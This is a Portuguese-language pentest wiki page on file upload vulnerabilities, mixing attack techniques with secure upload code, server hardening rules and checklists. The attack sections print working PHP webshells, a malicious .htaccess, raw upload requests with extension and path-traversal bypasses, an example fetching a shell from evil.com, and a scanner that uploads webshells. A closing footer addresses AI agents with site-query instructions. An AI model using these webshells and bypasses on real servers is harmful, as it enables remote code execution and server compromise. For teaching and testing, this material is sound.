# File Upload Vulnerabilities

## 🔍 **Conceitos Fundamentais**

### **O que são Vulnerabilidades de Upload de Arquivos**

Vulnerabilidades que permitem aos atacantes fazer upload de arquivos maliciosos para o servidor, podendo resultar em execução remota de código, defacement, ou comprometimento do sistema.

### **Princípio de Funcionamento**

```
Atacante Prepara → Upload Malicioso → Bypass de Validações → Execução/Armazenamento
      ↓                   ↓                   ↓                   ↓
 Arquivo malicioso   Explora falhas      Contorna verificações  Compromete sistema
  (webshell, .htaccess)  de validação       (MIME, extensão)      ou aplicação
```

### **Características das Vulnerabilidades**

* **Explora verificações insuficientes** de tipo e conteúdo de arquivos
* **Pode levar a RCE** (Remote Code Execution)
* **Afeta tanto uploads locais quanto remotos**
* **Frequentemente combinada com outras vulnerabilidades**

### **Tipos de Ataques via Upload**

1. **Webshell Upload** - Upload de shells web para execução de comandos
2. **Malware Upload** - Distribuição de malware através da aplicação
3. **File Overwrite** - Sobrescrita de arquivos críticos do sistema
4. **Client-Side Attacks** - Upload de arquivos maliciosos para usuários
5. **DoS via Upload** - Upload de arquivos grandes ou em quantidade excessiva

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo de Ataque Completo**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Servidor Vulnerável
    participant S as Sistema Alvo

    Note over A,V: FASE 1: Reconhecimento
    A->>V: Identifica funcionalidade de upload
    A->>V: Analisa restrições e validações
    V->>A: Retorna informações sobre validações
    
    Note over A,V: FASE 2: Preparação do Payload
    A->>A: Desenvolve arquivo malicioso
    A->>A: Aplica técnicas de bypass
    A->>A: Configura conteúdo malicioso
    
    Note over A,V: FASE 3: Upload Malicioso
    A->>V: Envia arquivo com bypass
    V->>V: Processa upload (validações falham)
    V->>S: Armazena arquivo no sistema
    
    Note over A,S: FASE 4: Exploração
    A->>S: Acessa arquivo malicioso
    S->>S: Executa código malicioso
    S-->>A: Retorna acesso/controle
```

### **Cenário 1: Upload de Webshell**

```php
<?php
// shell.php - Webshell básica
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

<!-- Ou webshell mais avançada -->
<?php
if(isset($_POST['code'])) {
    eval($_POST['code']);
}
?>
```

**Técnicas de Upload:**

```html
<!-- Formulário simples para upload -->
<form action="http://alvo.com/upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="arquivo">
    <input type="submit" value="Upload">
</form>

<script>
// Upload automático via JavaScript
const formData = new FormData();
formData.append('arquivo', new Blob(['<?php system($_GET["cmd"]); ?>'], 
    {type: 'image/jpeg'}), 'shell.jpg.php');

fetch('http://alvo.com/upload.php', {
    method: 'POST',
    body: formData,
    credentials: 'include'
});
</script>
```

### **Cenário 2: Bypass de Validação de Extensão**

```python
# Técnicas comuns de bypass de extensão
extensoes_bypass = [
    "shell.php.jpg",
    "shell.php%00.jpg",
    "shell.pHp",
    "shell.php5",
    "shell.phtml",
    "shell.phar",
    "shell.php.",
    "shell.php "
]

# Upload com double extension
files = {
    'file': ('malicious.php.jpg', open('webshell.php', 'rb'), 'image/jpeg')
}
```

### **Cenário 3: Manipulação de Tipo MIME**

```html
<script>
// Alterando o tipo MIME no cliente
const file = new File(['<?php system($_GET["cmd"]); ?>'], 'shell.jpg', {
    type: 'image/jpeg'
});

const formData = new FormData();
formData.append('uploaded_file', file);

// Ou via modificação direta do input
document.querySelector('input[type="file"]').files = new FileList([
    new File(['payload'], 'shell.php', {type: 'image/jpeg'})
]);
</script>

<!-- Via Burp Suite -->
```

```http
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
```

### **Cenário 4: Upload Remoto de Arquivos**

```php
<?php
// Vulnerabilidade de inclusão remota + upload
if(isset($_GET['url'])) {
    $content = file_get_contents($_GET['url']);
    file_put_contents('uploads/' . basename($_GET['url']), $content);
    echo "Arquivo baixado com sucesso!";
}
?>

<!-- Exploração -->
http://alvo.com/upload.php?url=http://evil.com/shell.php
```

***

## 🔎 **Identificação e Detecção**

### **Indicadores de Vulnerabilidade**

```bash
# Pontos críticos para teste
- Upload sem validação de tipo de arquivo
- Validação apenas no lado do cliente
- Lista negra insuficiente de extensões
- Ausência de verificação de conteúdo
- Permissão de execução no diretório de upload
- Nomes de arquivo previsíveis
```

### **Metodologia de Teste Manual**

{% stepper %}
{% step %}
**1. Análise de Funcionalidade de Upload**

```javascript
// Verificar parâmetros e comportamento
// No console do navegador:
document.querySelectorAll('input[type="file"]');
// Verificar eventos onSubmit e validações JavaScript
```

{% endstep %}

{% step %}
**2. Teste de Extensões de Arquivo**

```python
# Script para testar múltiplas extensões
extensoes_testar = [
    "php", "php2", "php3", "php4", "php5", "phtml",
    "jpg", "jpeg", "png", "gif", "pdf",
    "php.jpg", "jpg.php", "php.png",
    "php%00jpg", "php\x00jpg",
    "PHP", "PhP", "pHp"
]

for ext in extensoes_testar:
    filename = f"test.{ext}"
    # Tentar upload com cada extensão
```

{% endstep %}

{% step %}
**3. Manipulação de Cabeçalhos HTTP**

```http
POST /upload.php HTTP/1.1
Host: alvo.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: 253

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php echo system($_GET['cmd']); ?>
------WebKitFormBoundary--
```

{% endstep %}
{% endstepper %}

### **Endpoints Comumente Vulneráveis**

```
POST /upload.php
POST /admin/upload
POST /api/v1/upload
POST /files/upload
POST /image/upload
GET/POST /import (para upload de dados)
```

### **Técnicas de Bypass Avançadas**

{% stepper %}
{% step %}
**1. Bypass por Case Sensitivity**

```bash
# Em sistemas case-sensitive
shell.PHP
shell.Php
shell.pHp
```

{% endstep %}

{% step %}
**2. Null Byte Injection**

```python
# Exploração com null byte
filename = "shell.php%00.jpg"
# Ou em hex
filename = "shell.php\x00.jpg"
```

{% endstep %}

{% step %}
**3. Double Extension**

```bash
shell.php.jpg
shell.php.png
shell.jpg.php
```

{% endstep %}

{% step %}
**4. Excessivo Point Trick**

```bash
shell.php............
shell.php.
```

{% endstep %}
{% endstepper %}

***

## 💥 **Exploração e Impacto**

### **Técnicas de Exploração Avançadas**

{% stepper %}
{% step %}
**1. Upload de .htaccess para RCE**

```apache
# .htaccess malicioso
AddType application/x-httpd-php .jpg
AddHandler application/x-httpd-php .jpg

# Ou para execução de qualquer arquivo como PHP
<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>
```

{% endstep %}

{% step %}
**2. WebShells Avançadas**

```php
<?php
// WebShell com múltiplas funcionalidades
error_reporting(0);

if(isset($_POST['cmd'])) {
    echo "<pre>";
    system($_POST['cmd']);
    echo "</pre>";
}

if(isset($_FILES['file'])) {
    move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
    echo "Uploaded: " . $_FILES['file']['name'];
}

if(isset($_POST['code'])) {
    eval($_POST['code']);
}
?>

<!-- Interface HTML para a webshell -->
<form method="post">
    <input type="text" name="cmd" placeholder="Comando">
    <input type="submit" value="Executar">
</form>

<form method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>
```

{% endstep %}

{% step %}
**3. Upload para Path Traversal**

```http
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
```

{% endstep %}
{% endstepper %}

### **Impacto das Vulnerabilidades**

#### **Classificação de Impacto**

```json
{
  "impacto_critico": {
    "rce": [
      "Execução remota de código",
      "Comprometimento completo do servidor",
      "Acesso ao sistema de arquivos"
    ],
    "defacement": [
      "Modificação de conteúdo do site",
      "Substituição de páginas legítimas",
      "Injeção de conteúdo malicioso"
    ]
  },
  "impacto_alto": {
    "malware": [
      "Distribuição de malware",
      "Comprometimento de usuários",
      "Infectação em cadeia"
    ],
    "dados": [
      "Roubo de informações sensíveis",
      "Acesso a banco de dados",
      "Exfiltração de dados"
    ]
  },
  "impacto_medio": {
    "armazenamento": [
      "Consumo excessivo de espaço",
      "Denial of Service por storage",
      "Degradação de performance"
    ],
    "reputacao": [
      "Danos à reputação da empresa",
      "Perda de confiança dos usuários",
      "Problemas legais e compliance"
    ]
  }
}
```

#### **Cadeia de Ataque Completa**

```
Upload Malicioso → Bypass Validação → Armazenamento → Execução → Persistência
```

***

## 🛡️ **Mitigação e Correção**

### **Estratégias de Defesa em Camadas**

{% stepper %}
{% step %}
**1. Validação Rigorosa de Arquivos**

```php
<?php
class SecureFileUpload {
    private $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
    private $allowedMimeTypes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
    private $maxFileSize = 5 * 1024 * 1024; // 5MB
    
    public function validateUpload($file) {
        // Verificar erro de upload
        if($file['error'] !== UPLOAD_ERR_OK) {
            throw new Exception('Erro no upload do arquivo');
        }
        
        // Verificar tamanho
        if($file['size'] > $this->maxFileSize) {
            throw new Exception('Arquivo muito grande');
        }
        
        // Verificar extensão
        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        if(!in_array($extension, $this->allowedExtensions)) {
            throw new Exception('Tipo de arquivo não permitido');
        }
        
        // Verificar MIME type
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mimeType = finfo_file($finfo, $file['tmp_name']);
        finfo_close($finfo);
        
        if(!in_array($mimeType, $this->allowedMimeTypes)) {
            throw new Exception('Tipo MIME não permitido');
        }
        
        // Verificação adicional para imagens
        if(strpos($mimeType, 'image/') === 0) {
            $imageInfo = getimagesize($file['tmp_name']);
            if(!$imageInfo) {
                throw new Exception('Arquivo de imagem inválido');
            }
        }
        
        return true;
    }
    
    public function generateSafeFilename($originalName) {
        $extension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
        $safeName = bin2hex(random_bytes(16)) . '.' . $extension;
        return $safeName;
    }
    
    public function saveFile($file, $uploadDir) {
        $this->validateUpload($file);
        
        // Gerar nome seguro
        $safeFilename = $this->generateSafeFilename($file['name']);
        $destination = $uploadDir . DIRECTORY_SEPARATOR . $safeFilename;
        
        // Mover arquivo
        if(!move_uploaded_file($file['tmp_name'], $destination)) {
            throw new Exception('Falha ao salvar arquivo');
        }
        
        return $safeFilename;
    }
}

// Uso seguro
try {
    $uploader = new SecureFileUpload();
    $filename = $uploader->saveFile($_FILES['arquivo'], 'uploads/');
    echo "Upload realizado com sucesso: " . $filename;
} catch(Exception $e) {
    echo "Erro: " . $e->getMessage();
}
?>
```

{% endstep %}

{% step %}
**2. Configuração de Servidor Segura**

```nginx
# Configuração Nginx para diretório de upload
location /uploads/ {
    # Impedir execução de arquivos
    location ~ \.php$ {
        deny all;
        return 403;
    }
    
    # Só permitir métodos seguros
    limit_except GET HEAD {
        deny all;
    }
    
    # Headers de segurança
    add_header X-Content-Type-Options "nosniff";
    add_header X-Frame-Options "DENY";
}

# Apache .htaccess seguro
<FilesMatch "\.(php|php5|phtml|pl|py|jsp|asp|sh|cgi)$">
    Order Allow,Deny
    Deny from all
</FilesMatch>
```

{% endstep %}

{% step %}
**3. Lista Branca de Extensões**

```python
# Implementação em Python
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'}
ALLOWED_MIMETYPES = {
    'text/plain',
    'application/pdf', 
    'image/png',
    'image/jpeg',
    'image/gif'
}

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def validate_mimetype(file_stream):
    import magic
    mime = magic.from_buffer(file_stream.read(1024), mime=True)
    file_stream.seek(0)
    return mime in ALLOWED_MIMETYPES
```

{% endstep %}
{% endstepper %}

### **Padrões de Codificação Seguros**

{% stepper %}
{% step %}
**1. Validação Multi-camada**

```javascript
// Frontend - Validação inicial
function validateFile(file) {
    const allowedTypes = ['image/jpeg', 'image/png', 'application/pdf'];
    const maxSize = 5 * 1024 * 1024; // 5MB
    
    if (!allowedTypes.includes(file.type)) {
        throw new Error('Tipo de arquivo não permitido');
    }
    
    if (file.size > maxSize) {
        throw new Error('Arquivo muito grande');
    }
    
    // Verificar extensão
    const fileName = file.name.toLowerCase();
    const allowedExtensions = ['.jpg', '.jpeg', '.png', '.pdf'];
    const hasValidExtension = allowedExtensions.some(ext => 
        fileName.endsWith(ext));
    
    if (!hasValidExtension) {
        throw new Error('Extensão de arquivo não permitida');
    }
    
    return true;
}

// Backend - Validação principal
app.post('/upload', (req, res) => {
    if (!req.files || !req.files.file) {
        return res.status(400).json({ error: 'Nenhum arquivo enviado' });
    }
    
    const file = req.files.file;
    
    try {
        // Validação multi-camada
        validateFileType(file);
        validateFileContent(file);
        validateFileSize(file);
        
        // Processar upload seguro
        const safeFileName = generateSafeFileName(file.name);
        const filePath = path.join(UPLOAD_DIR, safeFileName);
        
        await file.mv(filePath);
        res.json({ success: true, filename: safeFileName });
        
    } catch (error) {
        res.status(400).json({ error: error.message });
    }
});
```

{% endstep %}

{% step %}
**2. Sanitização de Nomes de Arquivo**

```php
<?php
function sanitizeFilename($filename) {
    // Remover caracteres especiais
    $clean = preg_replace("/[^a-zA-Z0-9\._-]/", "", $filename);
    
    // Prevenir path traversal
    $clean = basename($clean);
    
    // Limitar tamanho
    if(strlen($clean) > 255) {
        $clean = substr($clean, 0, 255);
    }
    
    // Gerar nome único se necessário
    $extension = pathinfo($clean, PATHINFO_EXTENSION);
    $name = pathinfo($clean, PATHINFO_FILENAME);
    
    $safeName = uniqid() . '_' . $name . '.' . $extension;
    
    return $safeName;
}
?>
```

{% endstep %}

{% step %}
**3. Análise de Conteúdo de Arquivos**

```python
def analyze_file_content(file_path):
    """Analisar conteúdo do arquivo para detectar shells"""
    
    shell_indicators = [
        b'<?php system(',
        b'<?php eval(',
        b'<?php exec(',
        b'<?php shell_exec(',
        b'<?php passthru(',
        b'<?php `',
        b'<script>alert('
    ]
    
    try:
        with open(file_path, 'rb') as f:
            content = f.read(4096)  # Ler primeiros 4KB
            
            for indicator in shell_indicators:
                if indicator in content:
                    return False, "Conteúdo malicioso detectado"
                    
        return True, "Arquivo seguro"
        
    except Exception as e:
        return False, f"Erro na análise: {str(e)}"
```

{% endstep %}
{% endstepper %}

***

## 🔧 **Ferramentas e Testes**

### **Ferramentas de Análise Automatizada**

#### **1. Scanner de Upload Personalizado**

```python
#!/usr/bin/env python3
# file_upload_scanner.py

import requests
import os
from urllib.parse import urljoin

class FileUploadScanner:
    def __init__(self, target_url, session_cookies=None):
        self.target = target_url
        self.session = requests.Session()
        if session_cookies:
            self.session.cookies.update(session_cookies)
        self.vulnerabilities = []
    
    def generate_malicious_files(self):
        """Gerar arquivos maliciosos para teste"""
        files = {}
        
        # Webshell PHP básica
        files['php_shell'] = {
            'content': '<?php system($_GET["cmd"]); ?>',
            'name': 'shell.php',
            'mime': 'application/x-php'
        }
        
        # Arquivo .htaccess malicioso
        files['htaccess'] = {
            'content': 'AddType application/x-httpd-php .jpg',
            'name': '.htaccess',
            'mime': 'text/plain'
        }
        
        # Arquivo com double extension
        files['double_ext'] = {
            'content': '<?php system($_GET["cmd"]); ?>',
            'name': 'shell.jpg.php',
            'mime': 'image/jpeg'
        }
        
        return files
    
    def test_upload_endpoint(self, endpoint, file_data, method='POST'):
        """Testar endpoint de upload específico"""
        url = urljoin(self.target, endpoint)
        
        files = {
            'file': (file_data['name'], file_data['content'], file_data['mime'])
        }
        
        try:
            if method.upper() == 'POST':
                response = self.session.post(url, files=files)
            else:
                response = self.session.get(url, params=files)
            
            return self.analyze_response(response, file_data)
            
        except Exception as e:
            print(f"Erro no teste: {e}")
            return False
    
    def analyze_response(self, response, file_data):
        """Analisar resposta do servidor"""
        success_indicators = [
            response.status_code in [200, 201, 302],
            'success' in response.text.lower(),
            'upload' in response.text.lower(),
            'arquivo' in response.text.lower(),
            file_data['name'] in response.text
        ]
        
        return any(success_indicators)
    
    def scan_common_endpoints(self):
        """Escanejar endpoints comuns de upload"""
        common_endpoints = [
            '/upload',
            '/upload.php',
            '/admin/upload',
            '/file/upload',
            '/image/upload',
            '/api/upload'
        ]
        
        malicious_files = self.generate_malicious_files()
        
        for endpoint in common_endpoints:
            for file_name, file_data in malicious_files.items():
                print(f"Testando {endpoint} com {file_data['name']}")
                
                if self.test_upload_endpoint(endpoint, file_data):
                    print(f"⚠️  Possível vulnerabilidade em {endpoint}")
                    self.vulnerabilities.append({
                        'endpoint': endpoint,
                        'payload': file_data['name'],
                        'type': 'file_upload'
                    })
    
    def generate_report(self):
        """Gerar relatório de vulnerabilidades"""
        return {
            'target': self.target,
            'vulnerabilities_found': len(self.vulnerabilities),
            'details': self.vulnerabilities
        }

# Uso do scanner
if __name__ == "__main__":
    scanner = FileUploadScanner('https://alvo.com')
    scanner.scan_common_endpoints()
    report = scanner.generate_report()
    print(report)
```

#### **2. Ferramentas Existentes**

```bash
# Burp Suite Extensions
# - Upload Scanner
# - File Upload Traversal Tester

# OWASP ZAP
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' https://alvo.com

# Commix - Automated All-in-One OS Command Injection
commix -u https://alvo.com/upload.php --data="file=test.jpg"

# Nuclei Templates
nuclei -u https://alvo.com -t file-upload/
```

### **Testes Manuais com Ferramentas de Desenvolvimento**

{% stepper %}
{% step %}
**1. Teste com Browser DevTools**

```javascript
// Teste de validação no cliente
function testClientValidation() {
    const fileInput = document.querySelector('input[type="file"]');
    
    // Criar arquivo malicioso
    const maliciousFile = new File(
        ['<?php system($_GET["cmd"]); ?>'], 
        'shell.php', 
        { type: 'image/jpeg' }
    );
    
    // Testar validação
    const dataTransfer = new DataTransfer();
    dataTransfer.items.add(maliciousFile);
    fileInput.files = dataTransfer.files;
    
    // Disparar evento de change
    fileInput.dispatchEvent(new Event('change', { bubbles: true }));
}

// Executar teste
testClientValidation();
```

{% endstep %}

{% step %}
**2. Análise de Requisições**

```javascript
// Monitorar requisições de upload
const originalFetch = window.fetch;
window.fetch = function(...args) {
    console.log('Fetch chamado:', args);
    return originalFetch.apply(this, args);
};

// Interceptar FormData
const originalFormData = window.FormData;
window.FormData = function(form) {
    const fd = new originalFormData(form);
    console.log('FormData criado:', fd);
    return fd;
};
```

{% endstep %}
{% endstepper %}

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção de Upload**

* [ ] **Validação de Tipo de Arquivo**
  * [ ] Lista branca de extensões permitidas
  * [ ] Verificação de MIME type no servidor
  * [ ] Análise de conteúdo real do arquivo
  * [ ] Validação de assinatura de arquivo (magic numbers)
* [ ] **Sanitização de Nomes**
  * [ ] Remoção de caracteres especiais
  * [ ] Prevenção de path traversal
  * [ ] Geração de nomes únicos e imprevisíveis
  * [ ] Limitação de tamanho do nome
* [ ] **Configuração de Servidor**
  * [ ] Diretório de upload sem permissão de execução
  * [ ] Configuração adequada do servidor web
  * [ ] Headers de segurança apropriados
  * [ ] Limites de tamanho de arquivo
* [ ] **Validação de Conteúdo**
  * [ ] Verificação de arquivos de imagem (getimagesize)
  * [ ] Análise de arquivos PDF
  * [ ] Detecção de conteúdo malicioso
  * [ ] Scan com antivírus para uploads críticos

### **Checklist de Auditoria**

* [ ] **Teste de Bypass de Validação**
  * [ ] Teste com diferentes extensões (case-sensitive)
  * [ ] Teste com double extensions
  * [ ] Teste com null bytes
  * [ ] Teste com tipos MIME manipulados
* [ ] **Teste de Path Traversal**
  * [ ] Upload com "../" no nome do arquivo
  * [ ] Upload para diretórios sensíveis
  * [ ] Teste de overwrite de arquivos existentes
* [ ] **Teste de Conteúdo Malicioso**
  * [ ] Upload de webshells
  * [ ] Upload de .htaccess malicioso
  * [ ] Upload de arquivos de configuração
  * [ ] Upload de scripts maliciosos

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Monitoramento de arquivos suspeitos
  * [ ] Análise de logs de upload
  * [ ] Detecção de webshells
  * [ ] Alertas para arquivos executáveis em diretórios de upload
* [ ] **Contenção**
  * [ ] Remoção imediata de arquivos maliciosos
  * [ ] Bloqueio do IP atacante
  * [ ] Revogação de sessões comprometidas
  * [ ] Isolamento do sistema afetado
* [ ] **Correção**
  * [ ] Implementação de validações adequadas
  * [ ] Atualização de configurações
  * [ ] Hardening do servidor
  * [ ] Reteste de vulnerabilidades

***

## 📊 **Exemplos de Implementação Segura**

### **Configuração Completa Node.js**

```javascript
const express = require('express');
const fileUpload = require('express-fileupload');
const helmet = require('helmet');
const path = require('path');
const fs = require('fs');

const app = express();

// Middlewares de segurança
app.use(helmet());
app.use(fileUpload({
    limits: { fileSize: 5 * 1024 * 1024 }, // 5MB
    abortOnLimit: true,
    safeFileNames: true,
    preserveExtension: true,
    createParentPath: true
}));

// Configurações de upload seguro
const UPLOAD_CONFIG = {
    allowedExtensions: ['.jpg', '.jpeg', '.png', '.pdf'],
    allowedMimeTypes: [
        'image/jpeg',
        'image/png', 
        'image/gif',
        'application/pdf'
    ],
    uploadDir: path.join(__dirname, 'uploads'),
    maxFileSize: 5 * 1024 * 1024
};

// Função de validação
function validateFile(file) {
    // Verificar extensão
    const fileExtension = path.extname(file.name).toLowerCase();
    if (!UPLOAD_CONFIG.allowedExtensions.includes(fileExtension)) {
        throw new Error('Extensão de arquivo não permitida');
    }

    // Verificar MIME type
    if (!UPLOAD_CONFIG.allowedMimeTypes.includes(file.mimetype)) {
        throw new Error('Tipo MIME não permitido');
    }

    // Verificar tamanho
    if (file.size > UPLOAD_CONFIG.maxFileSize) {
        throw new Error('Arquivo muito grande');
    }

    // Verificação adicional para imagens
    if (file.mimetype.startsWith('image/')) {
        // Aqui poderia incluir análise de imagem
        if (file.size === 0) {
            throw new Error('Arquivo de imagem inválido');
        }
    }

    return true;
}

// Rota de upload segura
app.post('/upload', async (req, res) => {
    if (!req.files || Object.keys(req.files).length === 0) {
        return res.status(400).json({ error: 'Nenhum arquivo enviado' });
    }

    const uploadedFile = req.files.file;

    try {
        // Validar arquivo
        validateFile(uploadedFile);

        // Gerar nome seguro
        const fileExtension = path.extname(uploadedFile.name);
        const safeFileName = `${Date.now()}-${Math.random().toString(36).substr(2, 9)}${fileExtension}`;
        const uploadPath = path.join(UPLOAD_CONFIG.uploadDir, safeFileName);

        // Salvar arquivo
        await uploadedFile.mv(uploadPath);

        res.json({
            success: true,
            message: 'Upload realizado com sucesso',
            filename: safeFileName
        });

    } catch (error) {
        console.error('Erro no upload:', error);
        res.status(400).json({ error: error.message });
    }
});

// Servir arquivos estáticos sem execução
app.use('/uploads', express.static(UPLOAD_CONFIG.uploadDir, {
    setHeaders: (res, path) => {
        // Headers de segurança para arquivos uploadados
        res.set('X-Content-Type-Options', 'nosniff');
        res.set('X-Frame-Options', 'DENY');
    }
}));
```

### **Configuração PHP Segura**

```php
<?php
class SecureUploadHandler {
    private $allowedTypes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
    private $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
    private $maxSize = 5242880; // 5MB
    private $uploadPath;
    
    public function __construct($uploadPath) {
        $this->uploadPath = $uploadPath;
        
        // Criar diretório se não existir
        if (!is_dir($this->uploadPath)) {
            mkdir($this->uploadPath, 0755, true);
        }
        
        // Adicionar .htaccess para segurança
        $this->createHtaccess();
    }
    
    private function createHtaccess() {
        $htaccessContent = <<<HTACCESS
# Prevenir execução de arquivos PHP
<FilesMatch "\.(php|php5|phtml|pl|py|jsp|asp|sh|cgi)$">
    Order Allow,Deny
    Deny from all
</FilesMatch>

# Headers de segurança
<IfModule mod_headers.c>
    Header always set X-Content-Type-Options "nosniff"
    Header always set X-Frame-Options "DENY"
</IfModule>
HTACCESS;
        
        file_put_contents($this->uploadPath . '/.htaccess', $htaccessContent);
    }
    
    public function handleUpload($file) {
        // Verificar erro de upload
        if ($file['error'] !== UPLOAD_ERR_OK) {
            throw new Exception('Erro no upload do arquivo: ' . $file['error']);
        }
        
        // Verificar tamanho
        if ($file['size'] > $this->maxSize) {
            throw new Exception('Arquivo muito grande. Tamanho máximo: 5MB');
        }
        
        // Verificar tipo MIME
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mimeType = finfo_file($finfo, $file['tmp_name']);
        finfo_close($finfo);
        
        if (!in_array($mimeType, $this->allowedTypes)) {
            throw new Exception('Tipo de arquivo não permitido: ' . $mimeType);
        }
        
        // Verificar extensão
        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        if (!in_array($extension, $this->allowedExtensions)) {
            throw new Exception('Extensão de arquivo não permitida: ' . $extension);
        }
        
        // Verificação adicional para imagens
        if (strpos($mimeType, 'image/') === 0) {
            $imageInfo = getimagesize($file['tmp_name']);
            if (!$imageInfo) {
                throw new Exception('Arquivo de imagem inválido');
            }
        }
        
        // Gerar nome seguro
        $safeFilename = $this->generateSafeFilename($file['name']);
        $destination = $this->uploadPath . DIRECTORY_SEPARATOR . $safeFilename;
        
        // Mover arquivo
        if (!move_uploaded_file($file['tmp_name'], $destination)) {
            throw new Exception('Falha ao salvar arquivo');
        }
        
        return $safeFilename;
    }
    
    private function generateSafeFilename($originalName) {
        $extension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
        $baseName = bin2hex(random_bytes(8));
        return $baseName . '.' . $extension;
    }
}

// Uso seguro
try {
    $uploadHandler = new SecureUploadHandler(__DIR__ . '/uploads');
    
    if ($_FILES['arquivo']) {
        $filename = $uploadHandler->handleUpload($_FILES['arquivo']);
        echo json_encode(['success' => true, 'filename' => $filename]);
    }
} catch (Exception $e) {
    http_response_code(400);
    echo json_encode(['success' => false, 'error' => $e->getMessage()]);
}
?>
```

***

## ⚠️ **Considerações Finais**

### **Mitos Comuns sobre Upload de Arquivos**

* ❌ "Validação no cliente é suficiente" → **FALSO** (pode ser facilmente bypassada)
* ❌ "Só imagens são seguras" → **FALSO** (imagens podem conter código malicioso)
* ❌ "Renomear o arquivo torna seguro" → **FALSO** (conteúdo ainda pode ser malicioso)
* ❌ "APIs não precisam de validação" → **FALSO** (validação deve ser sempre no servidor)

### **Boas Práticas Essenciais**

1. **Defesa em Profundidade**: Múltiplas camadas de validação
2. **Lista Branca**: Sempre preferir lista branca sobre lista negra
3. **Validação no Servidor**: Nunca confiar apenas em validação no cliente
4. **Princípio do Menor Privilégio**: Limitar permissões do diretório de upload
5. **Monitoramento Contínuo**: Detectar atividades suspeitas

### **Referências e Padrões**

* OWASP File Upload Security Cheat Sheet
* SANS Secure File Upload Guidelines
* NIST Cybersecurity Framework
* CIS Security Benchmarks

**🔐 Lembre-se**: Vulnerabilidades de upload de arquivos estão entre as mais críticas e podem levar ao comprometimento completo do sistema. Implemente validações rigorosas e teste regularmente suas defesas.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/planejamento-e-logica/file-upload-vulnerabilities.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
